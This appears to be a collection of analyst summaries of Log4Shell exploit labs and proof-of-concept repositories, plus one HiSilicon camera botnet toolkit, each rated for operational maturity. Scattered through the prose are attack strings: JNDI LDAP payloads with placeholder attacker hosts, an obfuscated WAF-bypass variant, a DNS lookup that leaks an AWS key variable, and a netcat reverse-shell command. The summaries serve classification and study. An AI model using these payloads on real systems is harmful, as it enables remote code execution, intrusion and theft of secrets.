Log4Shell

This repository is a real exploit lab rather than a simple detector. It implements an autonomous Go-based agent that targets Log4Shell (CVE-2021-44228) in a deliberately vulnerable Java Spring Boot application. The repository is structured into: cmd/agent/main.go as the orchestrating entrypoint; internal/agent and internal/core for the cognitive loop and state model; internal/effectors for modular actions such as port scanning, discovery, payload generation, exploitation, WAF-evasion mutation, remediation, and reporting; pkg/oob for the attacker-controlled LDAP and HTTP out-of-band infrastructure; pkg/jvm for local lifecycle management of the vulnerable Java target; internal/payload/Exploit.java for the remote Java class payload; and test/vulnerable-app for the intentionally vulnerable Spring Boot target. Main exploit capability: the agent discovers the target, identifies the X-Api-Version header as an injection point, generates a JNDI LDAP payload, sends it to the target, and waits for an LDAP callback on port 1389. The LDAP listener returns a crafted reference pointing the target to an HTTP codebase on port 8000, from which the target downloads Exploit.class. That Java payload reads a secret flag from /var/lib/secret/flag.txt (or local flag.txt) and exfiltrates it to /loot on the agent’s HTTP server. If the direct payload is blocked by the demo WAF, the agent can generate an obfuscated nested-lookup payload for bypass. After successful exploitation, the agent attempts remediation by writing remediation.properties and POSTing to /remediate, then re-runs the exploit to verify the patch and finally writes a markdown compliance report. The vulnerable target is a Spring Boot 2.7.18 app using Log4j 2.14.1. Its MainController logs the X-Api-Version header and optional input parameter unless remediation is active, making it exploitable via header-based Log4Shell injection. The Docker setup exposes the target on 8080 and the agent’s LDAP/HTTP listeners on 1389 and 8000. Overall, this is an operational educational exploit environment demonstrating end-to-end exploitation, OOB callback handling, data exfiltration, remediation, and verification in a contained lab.

This repository is a self-contained Go/Java demonstration lab for exploiting and then remediating Log4Shell (CVE-2021-44228). It is not tied to a common exploit framework like Metasploit or Nuclei. The code implements an autonomous agent that performs a full attack lifecycle: TCP port reconnaissance, web input discovery, payload generation, exploitation via JNDI/LDAP, optional WAF-evasion mutation, automated remediation, post-fix verification, and report generation. Repository structure: cmd/agent/main.go is the main entrypoint. internal/agent and internal/core implement the agent loop and knowledge base. internal/effectors contains modular tools for each phase: port_scanner, discovery, payload_generator, prober, semantic_fuzzer, remediator, and reporter. pkg/oob contains the attacker-controlled infrastructure: an LDAP listener on port 1389 that returns a JNDI referral and an HTTP server on port 8000 that serves Exploit.class and captures exfiltrated data. internal/payload/Exploit.java is the malicious Java class executed on the target. pkg/jvm manages local startup/restart of the vulnerable Java app. test/vulnerable-app is a deliberately vulnerable Spring Boot application using Log4j 2.14.1, with the X-Api-Version header logged unsafely and a /remediate endpoint to simulate patching. deployments contains Docker and Compose files for running the lab. Main exploit capability: the agent generates a Log4Shell payload such as ${jndi:ldap://<agent_host>:1389/Exploit} and sends it in the X-Api-Version header to the target HTTP service. The target logs the header, triggers JNDI resolution, connects back to the LDAP listener, receives a referral to an HTTP codebase, downloads Exploit.class, and executes it. The Java payload reads a secret flag from /var/lib/secret/flag.txt or flag.txt and exfiltrates it to the attacker's /loot endpoint on port 8000. If the initial direct payload is blocked, the semantic_fuzzer generates an obfuscated variant ${${lower:j}ndi:ldap://<agent_host>:1389/bypass} to evade simple signature matching. The exploit is operational rather than just a PoC because it includes a working payload, attacker infrastructure, callback handling, and post-exploitation data exfiltration. It also includes remediation logic that writes remediation.properties and calls POST /remediate, then re-runs the exploit attempt to verify that no LDAP callback occurs. Overall, this is a realistic closed-loop demonstration of Log4Shell exploitation and self-healing in an isolated lab.

This repository is a multi-module Python offensive framework centered on exploiting HiSilicon DVR/NVR/IP camera devices via CVE-2020-25078, then managing compromised hosts through a Flask/SocketIO web panel. It is not a simple single-file PoC: it includes a control server (server.py), persistence and post-exploitation tooling, credential attacks, recon modules, web vulnerability scanners, network service checks, pivoting, reverse shell support, and a SQLite-backed datastore. Core exploit logic is in exploit.py and scanner.py. exploit.py probes numerous traversal/disclosure paths such as /../../.../mnt/mtd/Config/Account1 and related config/system files, parses returned content with multiple regex patterns to recover credentials, fingerprints device families, and falls back to known default credentials when disclosure succeeds but parsing does not. scanner.py operationalizes this by scanning IPs/CIDRs and common ports, checking liveness, fingerprinting likely cameras, invoking the CVE-2020-25078 checks, and storing recovered credentials in cameras.db. Post-exploitation capability is substantial. telnet_client.py provides raw Telnet login and command execution. botnet.py fans out commands across stored hosts. persistence.py installs SSH authorized_keys, cron, rc.local, init.d, systemd, inittab telnetd, and bind-shell style persistence. reverse_shell.py generates many Linux/IoT reverse shell one-liners and runs listeners. pivot_chain.py and socks_pivot.py support chained execution and local SOCKS5 pivoting through compromised hosts. Additional modules broaden scope beyond the HiSilicon exploit: brute.py and cred_spray.py perform credential attacks across Telnet, SSH, FTP, HTTP, SMB, databases, VNC, LDAP, WinRM, and more; network_exploit.py checks for exposed/misconfigured services and some well-known vulnerabilities such as MS17-010 and BlueKeep; web_exploit.py, web_cves.py, web_bugs.py, and web_brute.py scan websites for exposed files, CMS fingerprints, generic bug classes, and multiple CVE signatures. Recon/intel support includes ASN, DNS, GeoIP, JARM, WAF detection, proxy/Tor rotation, screenshot grabbing from camera snapshot endpoints, and Telegram/Discord/AbuseIPDB integrations. The repository structure is coherent and functional, with many CLI-capable modules and a central web UI in templates/index.html. Overall, this is an operational exploit-and-post-exploitation toolkit focused on HiSilicon IoT devices but expanded into a broader C2-style offensive platform.

This repository is a self-contained Dockerized Log4Shell exploitation lab rather than a single standalone exploit script. It combines three coordinated components: (1) a vulnerable Spring Boot application under victima/, (2) attacker infrastructure under atacante/ consisting of a Kali-based payload host and a Marshalsec-based LDAP referral server, and (3) a root-level Bash orchestration script (configurar.sh) that tears down, rebuilds, and launches the full environment. The vulnerable target is implemented in victima/src/main/java/fr/christophetd/log4shell/vulnerableapp/MainController.java. Its sole GET / handler reads the X-Api-Version header and logs it directly with Log4j, creating the classic CVE-2021-44228 JNDI injection sink. The Gradle build explicitly uses spring-boot-starter-log4j2 version 2.6.1, which pulls in Log4j 2.14.1. The victim Docker image is built in two stages and ultimately runs on openjdk:8u111-jdk-alpine. In docker-compose, the victim is additionally configured with trustURLCodebase=true for LDAP and RMI, which is important because it allows remote class loading needed by this lab’s exploit chain. The attacker side is operational and includes a real payload. atacante/Dockerfile.kali dynamically writes Exploit.java, compiles it with javac --release 8 for Java 8 compatibility, and serves the resulting class from /tmp over python3 -m http.server on port 8000. The Java payload’s static initializer spawns /bin/sh and connects back to kali-tools on TCP port 4444, forwarding shell I/O over the socket to provide a reverse shell. The LDAP stage is built in atacante/Dockerfile.ldap. It clones and builds mbechler/marshalsec, then launches marshalsec.jndi.LDAPRefServer pointing to http://kali-tools:8000/#Exploit on port 1389. This means that when the victim resolves the malicious JNDI string, the LDAP server returns a reference instructing the victim JVM to fetch and load the Exploit class from the attacker HTTP server. The main exploitation flow is: send an HTTP request to the victim on port 8080 with header X-Api-Version: ${jndi:ldap://ldap-malicioso:1389/Exploit}; Log4j evaluates the lookup; the victim contacts the LDAP server; the LDAP server redirects to the attacker HTTP server; the victim loads Exploit.class; the static initializer executes and opens a reverse shell to kali-tools:4444. The README and configurar.sh both document this exact attack path. Repository structure is straightforward: root contains documentation and orchestration; atacante/ contains Dockerfiles and docker-compose.yml for the malicious infrastructure; victima/ contains the vulnerable Java application source and build files. This is not a detection-only project and not a fake exploit. It is an educational but functional exploitation lab with a hardcoded reverse-shell payload, making its maturity best classified as OPERATIONAL.

This repository is a defensive Log4Shell lab rather than a standalone offensive exploit drop, but it does contain working exploit components. The structure combines: (1) a vulnerable target container (`log4shell-app`, based on a public Spring Boot Log4j 2.14.1 image), (2) an nginx reverse proxy with the Coraza WAF and OWASP CRS plus custom Log4Shell rules, (3) an attacker container that builds and packages multiple JNDI exploitation toolkits, and (4) Suricata/Wazuh monitoring for network and SIEM visibility. The main exploit capability lives under `attacker/`. `attacker/exploit-classes/Exploit.java` is a malicious Java class intended to be loaded through a JNDI/LDAP reference. Its static initializer executes immediately on class load and performs proof-of-exploitation actions: OS-specific command execution to write a marker file, creation of `/tmp/log4shell-exploited.txt`, and an optional reverse shell routine that connects to `172.20.0.2:4444`. There is also a stubbed environment-information collection method. This makes the repo more than a detector: it includes an actual RCE payload class. `attacker/scripts/start-ldap-server.sh` operationalizes exploitation by launching one of three JNDI infrastructures: marshalsec, JNDI-Exploit-Kit, or rogue-jndi. These are configured to serve the malicious class or execute simple commands/callbacks. `attacker/scripts/test-payloads.sh` is a payload spray/test harness that sends many Log4Shell payload variants to the nginx proxy using common injection points such as `User-Agent` and `X-Forwarded-For`. It includes LDAP, RMI, DNS, nested-expression, env/sys fallback, Unicode, whitespace, and colon-dash obfuscation variants. This script is primarily for validation of WAF/IDS coverage, but it also demonstrates realistic attack strings. The rest of the repository is focused on detection and containment. `coraza/config/log4shell-rules.conf` defines custom Coraza rules for standard and obfuscated JNDI patterns, alternate protocols, JSON/XML body inspection, and anomaly-score blocking. `nginx/` contains a multi-stage Docker build that compiles libcoraza and the coraza-nginx module, installs OWASP CRS, and exposes HTTP/HTTPS reverse proxying to the vulnerable app. `suricata/rules/log4shell.rules` adds network signatures for inbound JNDI payloads and outbound LDAP/RMI/DNS/HTTP callbacks that would indicate successful exploitation. Overall purpose: provide an isolated lab to demonstrate the full Log4Shell attack chain and, more importantly, how nginx+Coraza and Suricata can detect/block it. Because the repository includes a real malicious Java payload and scripts to stand up LDAP/JNDI exploit servers, it should be classified as a valid exploit-capable lab with operational payloads, not merely documentation or a pure detection script.

Small standalone Log4Shell PoC repository targeting CVE-2021-44228 in Apache Log4j. The repository contains 5 files: two Python exploit-related scripts, one alternate exploit script stored as .txt, and two documentation/report files. The core capability is to generate a JNDI LDAP payload of the form ${jndi:ldap://attacker_ip:port/Exploit} and inject it into multiple common HTTP headers via a GET request to a user-supplied target URL. If the target application logs any of those headers with vulnerable Log4j, it may initiate an outbound connection to the attacker-controlled listener. Exploit.py is the main usable sender. It accepts target URL, listener IP, and listener port via argparse, builds the payload, and sends it in User-Agent, Referer, X-Forwarded-For, X-Api-Version, and Accept-Language headers. It prints the HTTP status code and performs a weak heuristic check for the string 'Log4j' in the response body, but this is not a reliable vulnerability test. Listener.py is a simple TCP listener that binds to 0.0.0.0:1389 by default and prints any received data from the callback connection. It is intended to confirm that the vulnerable target resolved the JNDI reference and connected back. It does not implement a real LDAP server or malicious Java class hosting, so by itself it mainly supports detection/verification of callback behavior rather than end-to-end RCE. Exploit.txt contains a more feature-rich Python class-based variant of the exploit with send_payload() and start_listener() methods, but the provided content is truncated and incomplete. It still clearly shows the same intended behavior: generate the JNDI payload, send it in common headers, and listen for inbound connections. README.md and Report.txt are educational writeups about Log4Shell, affected versions, exploitation flow, mitigation guidance, and references to external PoCs. They are descriptive and not required for execution. Overall, this is a basic proof-of-concept exploit repository for web-delivered Log4Shell header injection with callback capture. It is not framework-based, not obviously fake, and not fully weaponized because it lacks a complete LDAP/RMI/HTTP infrastructure and a delivered malicious class or shell payload.

This repository is a self-contained Log4Shell lab/exploit environment rather than a single standalone exploit script. It contains two main components: an attacker container and a victim container, plus a helper detection script. The victim is a minimal Spring Boot application that intentionally uses vulnerable Log4j2 2.14.1 and exposes a GET /hello endpoint. That endpoint logs the User-Agent header, creating the injection point for attacker-controlled JNDI expressions. The attacker container builds marshalsec, compiles a malicious Java class, serves that class over HTTP on port 8888, and runs marshalsec's LDAPRefServer on port 1389 to redirect JNDI lookups to the hosted class. The payload class uses a static initializer to execute a shell command that writes /tmp/log4shell-lab-pwned on the victim, demonstrating code execution. Docker Compose wires both containers together and explicitly enables trustURLCodebase options required for remote class loading in this lab. The repository also includes detection/log-analyzer.py, which is not exploit code but an incident-response helper that scans logs for JNDI/Log4Shell indicators such as ${jndi:ldap://...}, lower/obfuscated patterns, and nested lookups. The included victim-logs.txt shows an attempted exploit using ${jndi:ldap://attacker:1389/Exploit}; the runtime trace indicates the vulnerable logging path was reached and a JNDI lookup occurred, though the captured run ended with a ClassCastException. Overall, the repo's purpose is to demonstrate and study CVE-2021-44228 exploitation mechanics in a controlled Docker lab, including attacker infrastructure, vulnerable target, and basic detection tooling.

This repository is a self-contained Dockerized proof-of-concept lab for CVE-2021-44228 (Log4Shell). It contains three main parts: (1) a vulnerable Spring Boot application using Log4j 2.14.1 and JDK 8u181, (2) an attacker container that hosts the LDAP redirect service, HTTP class server, and reverse-shell listener, and (3) a Node.js exploit client that sends the malicious JNDI string in an HTTP header. Repository structure: README.md documents the lab and usage. docker-compose.yml wires together two services on an isolated bridge network. The vulnerable-app directory contains a Maven-built Spring Boot application; Application.java is the app entry point and VulnerableController.java exposes GET /log, reading and logging X-Api-Version, User-Agent, and X-Auth-Token directly through Log4j, making them injection points. The attacker directory contains a multi-stage Dockerfile that builds marshalsec and compiles Exploit.java, plus entrypoint.sh which starts a Python HTTP server on 8888, launches marshalsec.jndi.LDAPRefServer to point victims to http://attacker:8888/#Exploit, and listens with netcat on 9001. The exploit directory contains exploit.js, the main trigger script. Exploit flow: exploit/exploit.js sends a GET request to the target endpoint (default http://localhost:8080/log) with a header value like ${jndi:ldap://attacker:1389/Exploit}. When the vulnerable app logs that header, Log4j performs a JNDI LDAP lookup to attacker:1389. The attacker LDAP server responds with a reference to the HTTP-hosted Exploit.class. The victim JVM loads the class, whose static initializer executes commands to create /tmp/pwned and spawn a reverse shell to attacker:9001. Capabilities: reliable lab-grade remote code execution against the included vulnerable target, proof-of-execution file creation, and an interactive reverse shell callback. The payload is basic and hardcoded rather than highly customizable, so OPERATIONAL is the best fit rather than WEAPONIZED.

This repository is a compact proof-of-concept for CVE-2021-44228 (Log4Shell). It contains both sides of the demonstration: a deliberately vulnerable Spring Boot server and a malicious Java class used as the remote payload. The vulnerable application lives under vulnerable-server/ and consists of a Maven project with App.java as the Spring Boot entry point and MainController.java as the vulnerable request handler. The controller accepts GET requests to /, reads the X-Api-Version header, and logs it with Log4j 2.14.1 without sanitization, creating the JNDI injection trigger point. The exploit side is in exploit/Exploit.java. This class implements ObjectFactory/Serializable so it can be referenced through JNDI loading, and its static initializer immediately executes a system command when the class is loaded. The hardcoded command starts /bin/bash and runs netcat to connect to 127.0.0.1:4444 with shell redirection, yielding a reverse shell. The attacker/commands.md file documents the full attack chain: compile Exploit.java, host Exploit.class over a Python HTTP server on port 8888, run a marshalsec LDAPRefServer on port 1389 pointing to the HTTP-hosted class, start a netcat listener on 4444, and finally send a malicious HTTP request containing a JNDI LDAP payload in the X-Api-Version header. Repository structure is straightforward: one exploit payload file, one vulnerable Java web app, and one markdown file with operator commands. This is a real exploit POC rather than a detector. It demonstrates end-to-end remote code execution through Log4j JNDI resolution and remote class loading, but the payload is hardcoded and basic, so the maturity is best classified as OPERATIONAL rather than weaponized.

Repository contains a small, operational Log4Shell (CVE-2021-44228) exploit setup consisting of: (1) `Log4shell.py`, a Python sender that delivers a JNDI payload to an Apache Solr target by placing `${jndi:ldap://<attacker_ip>:<ldap_port>/a}` into many common HTTP headers and also into a `q` query parameter while requesting `/solr/admin/cores`; and (2) `Exploit.java`, a minimal Java class intended to be served/loaded via the attacker’s JNDI infrastructure, whose static initializer executes a hardcoded netcat reverse shell (`nc -e /bin/bash 10.10.10.10 9999`). The README provides background on Log4Shell, affected Log4j versions, and mitigations. Overall purpose: trigger outbound JNDI lookups from a vulnerable, logging Solr/Log4j service to an attacker LDAP/RMI server, resulting in remote code execution and (as provided) a reverse shell callback.

This repository is a research/PoC Spring Boot application intentionally configured to demonstrate Log4Shell (CVE-2021-44228) using Log4j2 2.14.1. Repository structure/purpose: - pom.xml: Maven project for a Spring Boot 2.6.1 web app; explicitly forces vulnerable Log4j2 version 2.14.1 and uses spring-boot-starter-log4j2 (excluding default Logback). - src/main/java/com/nextcorp/Log4jApplication.java: Application entry point; sets system property com.sun.jndi.ldap.object.trustURLCodebase=true to facilitate classic JNDI remote codebase loading behavior in demonstrations. - src/main/java/com/nextcorp/Log4jVulnController.java: The vulnerable controller exposing GET /vulnerability/log. It reads the X-Api-Version request header and logs it with logger.info("... {}", apiVersion). In vulnerable Log4j2, attacker-controlled strings like ${jndi:ldap://...} can trigger JNDI lookups. - src/main/resources/application.properties: Sets server.port=9090. - src/main/resources/static/index.html: A simple static page (not directly tied to exploitation) likely for UI/demo. - README.md and TESTING.md: Explain the vulnerability, how to run the app, and how to test via Burp/curl with example JNDI payloads (DNS probe and LDAP-based RCE simulation). Exploit capabilities (as implemented by this repo): - Provides a network-reachable injection point (HTTP header X-Api-Version) that is logged unsafely, enabling Log4Shell-style JNDI lookups. - Supports detection via outbound DNS/LDAP callbacks (e.g., collaborator/oastify) and describes full RCE simulation via attacker-controlled LDAP on port 1389. - Includes an example of DNS-based information leak payloads using Log4j lookups (e.g., ${env:AWS_ACCESS_KEY} embedded into a DNS query). Overall, this is not an attacker tool that spins up LDAP/RMI servers or delivers a reverse shell itself; it is a deliberately vulnerable target application and testing guide intended to reproduce and study Log4Shell behavior.

Repository is a Log4Shell (CVE-2021-44228) proof-of-concept lab demonstrating JNDI injection leading to remote class loading and RCE. Structure/purpose: - VulnerableLog.java: victim-side Java program that logs user-controlled input with Log4j, serving as the sink to trigger JNDI lookups. - Exploit.java: attacker payload class; its static initializer executes immediately upon class loading and creates a reverse shell by spawning /bin/sh and connecting to 172.17.0.1:9001. - ldap_server.py: minimal/dummy LDAP listener on port 1389 intended to represent the LDAP referral component (the README primarily expects Marshalsec’s LDAPRefServer for real referrals). - LdapServer.java: attempts to provide a dummy LDAP server but is non-functional as written (it repeatedly tries to create new ServerSockets inside the accept loop rather than handling client sockets). - README.md: detailed lab instructions describing the intended 3-part attacker infrastructure (LDAP referral on 1389, HTTP payload hosting on 8888, netcat listener on 9001) and victim execution flags enabling the vulnerable behavior. Exploit flow/capabilities: 1) Victim runs Log4j 2.14.1 with lookups enabled and trustURLCodebase enabled. 2) User input contains a JNDI LDAP URL (e.g., ${jndi:ldap://172.17.0.1:1389/Exploit}). 3) LDAP referral redirects the JVM to an HTTP codebase (http://172.17.0.1:8888/#Exploit) to fetch the class. 4) Exploit.class loads; static initializer runs and establishes a reverse shell to 172.17.0.1:9001. Overall, this is an operational PoC lab (not a scanner) with a hardcoded callback endpoint and a basic reverse-shell payload, designed for controlled Docker/internal-network demonstrations.

This repository is a research-oriented Proof of Concept (PoC) environment for demonstrating and analyzing the Log4Shell (CVE-2021-44228) vulnerability in Apache Log4j 2. It consists of a vulnerable Spring Boot (2.6.1) application using Log4j 2.14.1. The main exploit capability is remote code execution (RCE) via JNDI injection: user input from the 'X-Api-Version' HTTP header is logged directly, allowing attackers to supply a payload such as '${jndi:ldap://attacker-server.com:1389/Exploit}'. This triggers a JNDI lookup, which can result in the application loading and executing code from an attacker-controlled LDAP server. The repository also demonstrates information exfiltration via DNS using similar payloads. The main vulnerable endpoint is '/vulnerability/log' (GET), and the application listens on port 9090. The codebase is structured as a standard Spring Boot project, with the main logic in 'Log4jVulnController.java'. The repository includes documentation and testing guides for reproducing the exploit and verifying the vulnerability. No exploit framework is used; this is a standalone PoC for educational and research purposes.

This repository is a proof-of-concept (POC) Java Spring Boot application designed to demonstrate the Log4Shell (CVE-2021-44228) vulnerability in Log4j2 version 2.14.1. The project structure includes standard Maven and Spring Boot files, with the main application logic in 'BugmakerApplication.java' and two controllers: 'HomeController' (serves the index page) and 'VulnerableController' (exposes vulnerable endpoints). The 'VulnerableController' provides two main endpoints that are vulnerable to Log4Shell: - '/api/log': Accepts HTTP requests and logs the 'User-Agent' header. If an attacker sends a malicious JNDI payload in this header, it will be processed by Log4j2, potentially leading to remote code execution. - '/api/search': Accepts a 'query' parameter and logs it. Similarly, a malicious payload in this parameter can trigger the vulnerability. A third endpoint, '/api/health', is provided for health checks and is not vulnerable. The README and index.html provide detailed instructions for building, running, and exploiting the application, including example payloads and attack scenarios. The repository is intended for educational and research purposes only and includes warnings about its use. No detection or mitigation code is present; the application is intentionally vulnerable for demonstration purposes.

This repository provides a working exploit for CVE-2021-44228 (Log4Shell), a critical remote code execution vulnerability in Apache Log4j versions 2.0-beta9 to 2.14.1. The main exploit component is Exploit.java, a Java class that, when loaded by a vulnerable Log4j instance via a JNDI LDAP lookup, opens a reverse shell from the target to the attacker's machine (host.docker.internal:9000). The repository includes a Dockerfile for running a vulnerable Java application, instructions for compiling the exploit, and steps to set up the necessary HTTP and LDAP servers to deliver the payload. The attack vector is network-based, leveraging JNDI lookups to load remote code. The README and markdown documentation provide clear setup and exploitation steps, including the use of marshalsec's LDAPRefServer and netcat for shell access. The repository is operational and demonstrates a full attack chain from vulnerability trigger to remote shell access.

This repository is a comprehensive Proof-of-Concept (PoC) for exploiting the Log4Shell vulnerability (CVE-2021-44228) in Apache Log4j <= 2.14.1. The structure includes Dockerized environments for both the attacker and the victim. The victim is a Spring Boot Java application that logs user-supplied HTTP headers using a vulnerable Log4j version. The attacker setup consists of a Go-based server that provides both an LDAP and HTTP service, and a Java payload (Exploit.class) that spawns a reverse shell when loaded via JNDI. The exploit is triggered by sending a specially crafted HTTP request to the victim's /shuffle endpoint with a malicious X-Api-Version header containing a JNDI LDAP reference. The victim, upon logging this header, initiates a JNDI lookup to the attacker's LDAP server, which responds with a reference to the malicious Java class hosted on the attacker's HTTP server. When the victim loads this class, it executes code that connects back to the attacker, providing a root shell. The repository also includes scripts for building, running, exploiting, and patching the environment, as well as detailed documentation and remediation steps. The main exploit capabilities are unauthenticated remote code execution via network vectors, with clear, fingerprintable endpoints for both the attack and payload delivery.

This repository is a proof-of-concept (PoC) exploit for the Log4Shell vulnerability (CVE-2021-44228) affecting Apache Log4j ≤ 2.14.1. The main components are: - `main.py`: A Python script that sends HTTP requests to a target URL with malicious JNDI payloads in various headers. It supports two modes: 'detect' (to check for vulnerability via outbound JNDI lookups) and 'exploit' (to trigger remote code execution if a malicious Java class is provided by the attacker). - `Exploit.java`: A Java class intended to be served by the attacker's LDAP server. When loaded by a vulnerable target, it executes a system command to make an HTTP request to the attacker's server, confirming code execution. - The README provides detailed instructions for setting up a test environment, including using Docker to run a vulnerable application, compiling the malicious Java class, and running the PoC. The exploit requires the attacker to control an LDAP (or DNS) listener and optionally an HTTP server to serve the malicious Java class. The main attack vector is network-based, leveraging JNDI lookups to achieve remote code execution. The endpoints involved are customizable by the user, but the PoC uses placeholders such as 'http://TU_IP:9999/pwned' and 'ldap://<attacker-ip>/Exploit'. Overall, the repository is well-structured for educational and testing purposes, providing both detection and exploitation capabilities for Log4Shell.

This repository is a Proof-of-Concept (PoC) exploit for the Apache Log4j2 vulnerability CVE-2021-44228 (Log4Shell). The main code file, 'poc.go', is a Go program that takes a target URL and a local callback IP as arguments. It starts a TCP listener on port 1389 (commonly used for LDAP) to receive callbacks from vulnerable targets. The exploit crafts a JNDI LDAP payload and injects it into multiple HTTP headers in requests to the target URL. If the target is vulnerable, it will connect back to the attacker's listener, confirming the presence of the vulnerability. The repository includes a README with usage instructions and an example, a .gitignore, and a license file. No weaponized or post-exploitation payload is included; the exploit is strictly for vulnerability verification.

This repository contains a Java class ('MyReverseShell') that, when loaded, executes a bash command to open a reverse shell to 172.20.10.11:4444. The payload is base64-encoded and decoded at runtime, then executed via /bin/bash. The exploit is designed to be used in the context of the Log4Shell (CVE-2021-44228) vulnerability, as described in the accompanying 'environment.md' file, which provides setup instructions for a vulnerable Apache Solr environment using Vulhub. The exploit's main capability is to provide remote shell access to an attacker by leveraging remote code execution on a vulnerable Java application. The repository is operational and provides a working reverse shell payload, but is not part of a larger exploit framework.

This repository is a minimal Java Maven project demonstrating a proof-of-concept exploit for CVE-2021-44228 (Log4Shell), targeting Apache Log4j version 2.14.1. The main code file, 'src/main/java/Main.java', logs a string containing a JNDI LDAP lookup payload ('${jndi:ldap://127.0.0.1:1389/any}'). When processed by a vulnerable Log4j instance, this payload triggers a JNDI lookup to the specified LDAP server, which can be exploited for remote code execution if the attacker controls the LDAP server. The repository structure includes standard Maven and IDE configuration files, with the exploit logic contained entirely in the Main.java file. No detection scripts or fake code are present; this is a working POC for the Log4Shell vulnerability.

This repository is a comprehensive demonstration environment for the Log4Shell vulnerability (CVE-2021-44228) in Apache Log4j. It consists of three main components: a vulnerable Java Spring Boot application (using Log4j 2.14.1), a malicious LDAP server (based on marshalsec), and a payload HTTP server that serves a Java class file. The exploit works by sending a specially crafted User-Agent header to the vulnerable app's HTTP endpoint, which is logged by Log4j. This triggers a JNDI LDAP lookup to the attacker's LDAP server, which then redirects the victim to download and execute a malicious Java class from the payload server. The payload demonstrates remote code execution by creating a file on the victim system. The repository uses Docker Compose to orchestrate the environment, making it easy to reproduce the exploit chain. The code is well-structured for educational purposes, with clear separation between the vulnerable app, the LDAP server, and the payload server.